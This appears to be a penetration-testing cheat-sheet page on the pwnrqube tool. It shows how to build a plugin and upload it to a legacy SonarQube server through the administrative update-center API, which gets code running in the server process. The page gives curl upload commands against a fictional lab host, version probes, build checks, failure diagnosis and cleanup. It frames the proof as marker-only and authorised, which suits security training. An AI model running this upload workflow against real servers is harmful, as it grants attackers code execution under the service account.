PWN^:Exploitation

pwnrqube

Assess legacy SonarQube administrative plugin loading with version checks, a bounded proof and cleanup.

intermediateupdated 2026-10-12pwnrqube · Maven · curl

pwnrqube

The report loads a plugin into an old SonarQube installation after gaining application administrator access. The plugin runs inside the server process. Its identity is the SonarQube service identity; SYSTEM is specific to the report’s Windows service configuration.

Check prerequisites

Upstream documents the upload API workflow on versions before 7.9.5. Confirm the actual server build, API availability, administrator permissions, Java compatibility and restart window. Do not apply this workflow to every current SonarQube installation.

Build a reviewed proof

Review a pinned source checkout. Replace the sample callback code with a local marker-only proof before building:

cd pwnrqube/totally-benign-plugin
mvn clean package
jar tf target/totally-benign-plugin-1.0.jar

This example assumes the reviewed project layout. A successful Maven build does not prove the server will accept the plugin.

Upload and verify the pending plugin

curl --user labadmin -X POST \
  -F file=@target/totally-benign-plugin-1.0.jar \
  'http://sonar.example.test:9000/api/updatecenter/upload'

curl prompts for the password. Check HTTP status and Marketplace pending-installation state before restarting. Restart only in the agreed window; a compatibility error can break the application. Success: the marker is produced under the confirmed service identity after loading. Uninstall the proof plugin and restart to complete cleanup. Remove unsafe legacy upload paths and limit administrator access.

Map the separate boundaries

StageEvidence neededWhat it does not establish
AuthenticationAccepted application identityAdministrator permission
Plugin uploadAccepted JAR and pending-installation statePlugin code has run
Restart/loadPlugin loading in server logsA particular OS privilege
Identity proofMarker and service identitySYSTEM on every host

The legacy API issue is the ability to submit custom server code through an administrative web action. Later manual access to extensions/plugins is a separate host-level prerequisite; it does not demonstrate that the removed upload API still works.

Inventory the installation first

curl --cacert lab-ca.pem --user labadmin \
  https://sonar.example.test/api/server/version
curl --cacert lab-ca.pem --user labadmin \
  https://sonar.example.test/api/system/status

These are read-only probes; authentication and URL paths can vary with a reverse-proxy prefix. Record the build, deployment path and whether the service is Windows, Linux or a container. Check the pinned project’s Java target against the server runtime before packaging anything.

Review the build artefact

java -version
mvn -version
rg -n 'Runtime|ProcessBuilder|Socket|static|Plugin' src/main/java pom.xml
mvn clean package
jar tf target/totally-benign-plugin-1.0.jar
unzip -p target/totally-benign-plugin-1.0.jar META-INF/MANIFEST.MF
sha256sum target/totally-benign-plugin-1.0.jar

Run these inside the reviewed plugin project. Ensure the proof runs at the intended load hook and exits promptly. A dependency mismatch, duplicate plugin key or incompatible API can prevent startup even when compilation succeeds.

Observe the upload transaction

curl --cacert lab-ca.pem --user labadmin \
  --dump-header upload-headers.txt --output upload-body.txt \
  --write-out 'HTTP %{http_code}\n' \
  -F file=@target/totally-benign-plugin-1.0.jar \
  https://sonar.example.test/api/updatecenter/upload

Use the agreed restart window only after checking pending-installation state. Preserve error responses rather than repeatedly restarting a service with a rejected plugin. On the legacy API, api/plugins/cancel_all cancels pending operations; check that no unrelated administrator change is pending before using a global cancellation action.

Failure diagnosis and completion

FailureNext check
401 / 403Accepted authentication method and administrator role
404Actual version, removed endpoint or proxy path
Upload accepted but plugin absentPending state and server logs
JVM linkage/class-version errorJava bytecode target and plugin API compatibility
Marker reports a limited accountThat is the actual service context, not a failed SYSTEM claim

Uninstall the test plugin, restart in the agreed window and verify it no longer loads. Retain JAR digest, upload status, load evidence and process identity. Upgrade away from the legacy API and limit both plugin administration and the service account’s host permissions.

How attacks work. Examples use fictional lab values; replace placeholders only with values from the system you are testing.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.